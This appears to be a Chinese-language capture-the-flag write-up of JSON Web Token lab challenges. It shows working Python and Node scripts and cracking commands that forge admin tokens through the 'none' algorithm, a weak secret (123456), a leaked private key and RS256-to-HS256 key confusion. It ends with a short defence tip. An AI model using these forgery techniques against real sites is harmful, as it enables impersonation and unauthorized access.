进入后F12,发现提示/admin
要注意使用 url 访问网页时
/admin 表示访问 admin.php 文件
/admin/ 表示访问 admin/目录下的文件,默认是 index.php
很像文件夹,所以此处应该访问 /admin/
查看cookie
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2MzI0OTc1MDksImV4cCI6MTYzMjUwNDcwOSwibmJmIjoxNjMyNDk3NTA5LCJzdWIiOiJ1c2VyIiwianRpIjoiMmUyODkyOTBkODdiZmRmN2UzNjI1NjU0MjJkMjQzYTcifV0
利用https://jwt.io/
解码
alg
为None,说明无加密,直接修改sub
为admin,base64编码后传入cookie,访问/admin/即可
JWT 支持将算法设定为 “None”。如果“alg” 字段设为“ None”,那么签名会被置空,这样任何 token 都是有效的。 设定该功能的最初目的是为了方便调试。但是,若不在生产环境中关闭该功能,攻击者可以通过将 alg 字段设置为 “None” 来伪造他们想要的任何 token,接着便可以使用伪造的 token 冒充任意用户登陆网站。
老规矩,看cookie
{
"alg": "HS256",
"typ": "JWT"
}
{
"iss": "admin",
"iat": 1632670820,
"exp": 1632678020,
"nbf": 1632670820,
"sub": "user",
"jti": "147cc3b129a041cdd38e3f127680d1e4"
}
将 Header 中的加密算法改为 none,利用python脚本
import jwt
# payload
token_dict = {
"iss": "admin",
"iat": 1632670820,
"exp": 1632678020,
"nbf": 1632670820,
"sub": "admin",
"jti": "147cc3b129a041cdd38e3f127680d1e4"
}
headers = {
"alg": "none",
"typ": "JWT"
}
jwt_token = jwt.encode(token_dict, # payload, 有效载体
"", # 进行加密签名的密钥
algorithm="none", # 指明签名算法方式, 默认也是HS256
headers=headers
# json web token 数据结构包含两部分, payload(有效载体), headers(标头)
)
print(jwt_token)
另解:
将user替换为admin之后,猜测密钥为123456,修改cookie也可
web347(弱口令)密钥:123456
密钥爆破 i工具:(一般第一个用的比较多)
- c-jwt-cracker
- Hashcat
- john
这里以jwtcracker为例:
下载文件到kali,解压进入目录,打开终端切换为root权限
1 docker build . -t jwtcrack
2 docker run -it --rm jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMjgzODk1MiwiZXhwIjoxNjMyODQ2MTUyLCJuYmYiOjE2MzI4Mzg5NTIsInN1YiI6InVzZXIiLCJqdGkiOiI5M2QwODg0MTU5MzQ5MWJiMDc1NzZkNDI5NzFkODIyZSJ9.VlGkcoMcfvtRYv2kMczlfD8ns1hpN2pArD5PdrVgO6I
爆破出
首先给出一个app.js
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});
可以发现是密钥泄露,通过访问/private.key
和public.key
来获得公私钥
之后在jwt.io中填入,修改admin后将得到的cookie传入,同时post一个参数就可以了
web350(密钥混淆攻击)HS256算法使用密钥为所有消息进行签名和验证。
而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。
如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名。
由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名。
这样的话,后端代码使用RSA公钥+HS256算法进行签名验证。
node脚本
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
运行 nodejs 获取 cookie 去替换即可
防御方法:JWT配置应该只允许使用HMAC算法或公钥算法,决不能同时使用这两种算法